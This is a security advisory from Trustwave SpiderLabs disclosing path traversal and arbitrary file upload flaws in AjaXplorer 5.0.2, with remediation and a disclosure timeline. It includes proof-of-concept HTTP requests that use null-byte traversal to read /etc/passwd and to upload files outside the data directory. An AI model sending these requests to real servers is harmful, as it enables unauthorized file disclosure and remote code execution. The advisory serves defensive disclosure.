AjaXplorer 5.0.2 Shell Upload / Traversal

`Trustwave SpiderLabs Security Advisory TWSL2013-027:  
Multiple Vulnerabilities in AjaXplorer  
  
Published: 09/05/13  
Version: 1.0  
  
Vendor: AjaXplorer (http://ajaxplorer.info)  
Product: AjaXplorer  
Version affected: 5.0.2 and prior  
  
Product description:  
AjaXplorer is an open source file sharing platform which relies on PHP and  
the web interface can run on various web server software, such as Apache  
and Nginx.  
  
  
Finding 1: Path Traversal  
*****Credit: Vikas Singhal of Trustwave SpiderLabs  
CVE: CVE-2013-5688  
CWE: CWE-22  
  
A path traversal vulnerability was found in the "edit" functionality of the application.  
This vulnerability may allow an attacker to view files outside the website's root directory.  
  
The following Proof of Concept (PoC) HTTP request illustrates the same.  
  
  
#Request  
1. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=download&dir=%2F&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1  
  
#Request  
2. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=get_content&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1  
  
Finding 2: Arbitrary File Upload  
*****Credit: Vikas Singhal of Trustwave SpiderLabs  
CVE: CVE-2013-5689  
CWE: CWE-434  
  
Using the application's upload functionality it was possible to upload  
arbitrary file outside the default directory and execute it. This may allow  
an attacker to execute arbitrary commands on the web server.  
  
Vulnerable HTTP request:  
  
#Request  
1. POST /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=upload&xhr_uploader=true&dir=/%00../%00../data/ HTTP/1.1  
  
Remediation Steps:  
The vendor has released a fix to address these vulnerabilities.  
Administrators should upgrade to AjaXplorer Core 5.0.3 or later.  
Alternatively, administers can mitigate these vulnerabilities by applying  
Web Application Firewall (WAF) rules. ModSecurity  
(http://www.modsecurity.org/) has added rules to the commercial rules feed  
for these issues, and WebDefend has protections as well.  
  
  
Vendor Communication Timeline:  
8/29/13 - Vulnerability disclosed  
9/03/13 - Patch released by vendor  
9/05/13 - Advisory published  
  
References  
1. http://ajaxplorer.info/ajaxplorer-core-5-0-3/  
  
About Trustwave:  
Trustwave is the leading provider of on-demand and subscription-based  
information security and payment card industry compliance management  
solutions to businesses and government entities throughout the world. For  
organizations faced with today's challenging data security and compliance  
environment, Trustwave provides a unique approach with comprehensive  
solutions that include its flagship TrustKeeper compliance management  
software and other proprietary security solutions. Trustwave has helped  
thousands of organizations--ranging from Fortune 500 businesses and large  
financial institutions to small and medium-sized retailers--manage  
compliance and secure their network infrastructure, data communications and  
critical information assets. Trustwave is headquartered in Chicago with  
offices throughout North America, South America, Europe, Africa, China and  
Australia. For more information, visit https://www.trustwave.com  
  
About Trustwave SpiderLabs:  
SpiderLabs(R) is the advanced security team at Trustwave focused on  
application security, incident response, penetration testing, physical  
security and security research. The team has performed over a thousand  
incident investigations, thousands of penetration tests and hundreds of  
application security tests globally. In addition, the SpiderLabs Research  
team provides intelligence through bleeding-edge research and proof of  
concept tool development to enhance Trustwave's products and services.  
https://www.trustwave.com/spiderlabs  
  
Disclaimer:  
The information provided in this advisory is provided "as is" without  
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implied, including the warranties of merchantability and fitness for a  
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